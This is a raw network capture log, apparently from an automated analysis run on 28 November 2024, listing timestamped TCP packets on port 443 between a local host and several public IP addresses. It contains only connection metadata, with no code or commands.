Nov 28, 2024 17:24:24.479545116 CET	49756	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:24.479748964 CET	49745	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:24.479775906 CET	443	49745	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:24.480230093 CET	49747	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:24.480248928 CET	443	49747	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:24.480341911 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:24.480361938 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:24.480609894 CET	49746	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:24.480628967 CET	443	49746	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:24.480951071 CET	443	49745	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:24.480964899 CET	443	49745	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:24.481021881 CET	49745	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:24.481189966 CET	49741	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:24.481208086 CET	443	49741	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:24.481349945 CET	443	49747	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:24.481363058 CET	443	49747	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:24.481427908 CET	49747	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:24.481467962 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:24.481479883 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:24.481522083 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:24.481764078 CET	443	49746	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:24.481776953 CET	443	49746	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:24.481816053 CET	49746	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:24.482007980 CET	49741	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:24.482012987 CET	443	49741	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:24.484744072 CET	49756	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:24.484754086 CET	443	49756	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:24.486752033 CET	49745	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:24.486825943 CET	443	49745	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:24.489264965 CET	49747	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:24.489341021 CET	443	49747	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:24.490261078 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:24.490334988 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:24.490654945 CET	49746	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:24.490721941 CET	443	49746	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:24.494725943 CET	49745	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:24.494743109 CET	443	49745	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:24.499181986 CET	49747	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:24.499200106 CET	443	49747	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:24.499281883 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:24.499291897 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:24.499392986 CET	49746	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:24.499399900 CET	443	49746	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:24.504837036 CET	49747	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:24.504858017 CET	49747	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:24.509004116 CET	49757	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:24.509032965 CET	443	49757	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:24.509305954 CET	49757	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:24.510195971 CET	49757	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:24.510210991 CET	443	49757	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:24.538649082 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:24.540738106 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:24.559194088 CET	49758	443	192.168.2.6	20.198.119.84
Nov 28, 2024 17:24:24.559228897 CET	443	49758	20.198.119.84	192.168.2.6
Nov 28, 2024 17:24:24.559333086 CET	49758	443	192.168.2.6	20.198.119.84
Nov 28, 2024 17:24:24.560106039 CET	49758	443	192.168.2.6	20.198.119.84
Nov 28, 2024 17:24:24.560117960 CET	443	49758	20.198.119.84	192.168.2.6
Nov 28, 2024 17:24:24.605427980 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:24.605516911 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:24.616478920 CET	443	49751	20.234.120.54	192.168.2.6
Nov 28, 2024 17:24:24.616553068 CET	49751	443	192.168.2.6	20.234.120.54
Nov 28, 2024 17:24:24.638699055 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:24.638705969 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:24.640089035 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:24.640094995 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:24.642827988 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:24.642832994 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:24.643223047 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:24.643228054 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:24.648381948 CET	49746	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:24.679596901 CET	49745	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:24.679738998 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:24.688411951 CET	49751	443	192.168.2.6	20.234.120.54
Nov 28, 2024 17:24:24.688426018 CET	443	49751	20.234.120.54	192.168.2.6
Nov 28, 2024 17:24:24.688750982 CET	49751	443	192.168.2.6	20.234.120.54
Nov 28, 2024 17:24:24.688759089 CET	443	49751	20.234.120.54	192.168.2.6
Nov 28, 2024 17:24:24.688931942 CET	443	49751	20.234.120.54	192.168.2.6
Nov 28, 2024 17:24:24.688997984 CET	49751	443	192.168.2.6	20.234.120.54
Nov 28, 2024 17:24:24.807460070 CET	443	49741	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:24.807542086 CET	443	49741	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:24.807621002 CET	49741	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:24.809390068 CET	49741	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:24.809390068 CET	49741	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:24.809410095 CET	443	49741	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:24.809422016 CET	443	49741	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:24.812700033 CET	49760	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:24.812733889 CET	443	49760	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:24.812885046 CET	49760	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:24.813069105 CET	49760	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:24.813080072 CET	443	49760	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:24.995182991 CET	443	49754	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:24.995727062 CET	49754	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:24.995754957 CET	443	49754	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:24.996314049 CET	49754	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:24.996320009 CET	443	49754	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:25.080976009 CET	443	49751	20.234.120.54	192.168.2.6
Nov 28, 2024 17:24:25.081043005 CET	49751	443	192.168.2.6	20.234.120.54
Nov 28, 2024 17:24:25.081114054 CET	443	49751	20.234.120.54	192.168.2.6
Nov 28, 2024 17:24:25.081157923 CET	49751	443	192.168.2.6	20.234.120.54
Nov 28, 2024 17:24:25.081171989 CET	443	49751	20.234.120.54	192.168.2.6
Nov 28, 2024 17:24:25.081227064 CET	49751	443	192.168.2.6	20.234.120.54
Nov 28, 2024 17:24:25.081996918 CET	49751	443	192.168.2.6	20.234.120.54
Nov 28, 2024 17:24:25.082014084 CET	443	49751	20.234.120.54	192.168.2.6
Nov 28, 2024 17:24:25.088612080 CET	49761	443	192.168.2.6	20.234.120.54
Nov 28, 2024 17:24:25.088680029 CET	443	49761	20.234.120.54	192.168.2.6
Nov 28, 2024 17:24:25.088758945 CET	49761	443	192.168.2.6	20.234.120.54
Nov 28, 2024 17:24:25.089570045 CET	49761	443	192.168.2.6	20.234.120.54
Nov 28, 2024 17:24:25.089602947 CET	443	49761	20.234.120.54	192.168.2.6
Nov 28, 2024 17:24:25.090610027 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.090631008 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.090646029 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.090668917 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.090702057 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.090708971 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.090754986 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.091027975 CET	49762	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:25.091046095 CET	443	49762	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:25.091108084 CET	49762	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:25.094795942 CET	49762	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:25.094809055 CET	443	49762	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:25.109859943 CET	443	49755	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:25.110301971 CET	49755	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:25.110311031 CET	443	49755	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:25.110898018 CET	49755	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:25.110903025 CET	443	49755	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:25.115206003 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.115258932 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.115273952 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.115324974 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.139039993 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.139053106 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.139100075 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.139110088 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.139151096 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.148116112 CET	443	49745	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.148284912 CET	443	49745	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.148334026 CET	49745	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.164633989 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.164695978 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.173857927 CET	49745	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.173882961 CET	443	49745	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.174041986 CET	443	49746	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.174181938 CET	443	49746	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.174235106 CET	49746	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.176230907 CET	49746	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.176251888 CET	443	49746	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.187583923 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.187629938 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.187658072 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.187686920 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.187690973 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.187710047 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.187731028 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.205533981 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.205605030 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.205615997 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.219224930 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.219269991 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.219283104 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.241065025 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.241116047 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.241123915 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.273682117 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.273718119 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.273772955 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.273782969 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.273813963 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.273828983 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.311770916 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.311824083 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.311835051 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.321687937 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.321713924 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.321758986 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.321769953 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.321794033 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.321827888 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.329040051 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.329107046 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.329116106 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.329164982 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.351362944 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.351437092 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.351443052 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.351511955 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.378721952 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.378802061 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.378813982 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.378863096 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.382206917 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.382214069 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.393032074 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.393062115 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.393078089 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.393089056 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.393138885 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.394675016 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.394741058 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.394748926 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.394793034 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.399344921 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.409380913 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.409446001 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.409456015 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.419572115 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.419624090 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.419634104 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.432617903 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.432672024 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.432682991 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.443742037 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.443769932 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.443842888 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.443862915 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.443907022 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.446485043 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.446558952 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.446571112 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.452389956 CET	443	49754	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:25.452459097 CET	443	49754	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:25.452508926 CET	49754	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:25.453094006 CET	49754	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:25.453114986 CET	443	49754	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:25.453125000 CET	49754	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:25.453131914 CET	443	49754	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:25.456784964 CET	49764	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:25.456829071 CET	443	49764	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:25.456914902 CET	49764	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:25.457268953 CET	49764	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:25.457282066 CET	443	49764	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:25.459122896 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.459177017 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.459183931 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.470846891 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.470871925 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.470921040 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.470928907 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.470958948 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.470990896 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.471235037 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.471282959 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.471290112 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.483536959 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.483573914 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.483596087 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.483603954 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.483660936 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.496133089 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.497458935 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.497486115 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.497530937 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.497545958 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.497570992 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.497597933 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.501044989 CET	49765	443	192.168.2.6	52.149.20.212
Nov 28, 2024 17:24:25.501079082 CET	443	49765	52.149.20.212	192.168.2.6
Nov 28, 2024 17:24:25.501147032 CET	49765	443	192.168.2.6	52.149.20.212
Nov 28, 2024 17:24:25.502705097 CET	49765	443	192.168.2.6	52.149.20.212
Nov 28, 2024 17:24:25.502716064 CET	443	49765	52.149.20.212	192.168.2.6
Nov 28, 2024 17:24:25.508333921 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.508387089 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.508397102 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.518604040 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.518624067 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.518712997 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.518712997 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.518723965 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.518739939 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.518760920 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.518802881 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.518810034 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.518851042 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.530455112 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.530522108 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.530529022 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.530569077 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.546256065 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.546329021 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.546335936 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.546382904 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.557869911 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.557943106 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.557949066 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.558005095 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.564141989 CET	443	49755	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:25.564225912 CET	443	49755	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:25.564275026 CET	49755	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:25.564958096 CET	49755	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:25.564975977 CET	443	49755	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:25.564985991 CET	49755	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:25.564992905 CET	443	49755	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:25.569645882 CET	49766	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:25.569679976 CET	443	49766	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:25.569755077 CET	49766	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:25.569833994 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.569896936 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.569904089 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.569946051 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.571022987 CET	49766	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:25.571034908 CET	443	49766	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:25.585378885 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.585422039 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.585427999 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.585438967 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.585443974 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.585503101 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.589976072 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.590020895 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.590028048 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.594315052 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.594377995 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.594386101 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.594425917 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.597026110 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.597104073 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.597110987 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.601722002 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.601762056 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.601772070 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.601785898 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.601823092 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.603491068 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.603549004 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.603555918 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.603593111 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.606172085 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.609148979 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.609190941 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.609199047 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.614027023 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.614063978 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.614070892 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.621506929 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.621562958 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.621571064 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.630481005 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.630525112 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.630552053 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.630558968 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.630604029 CET	49753	443	192.168.2.6	150.171.28.10
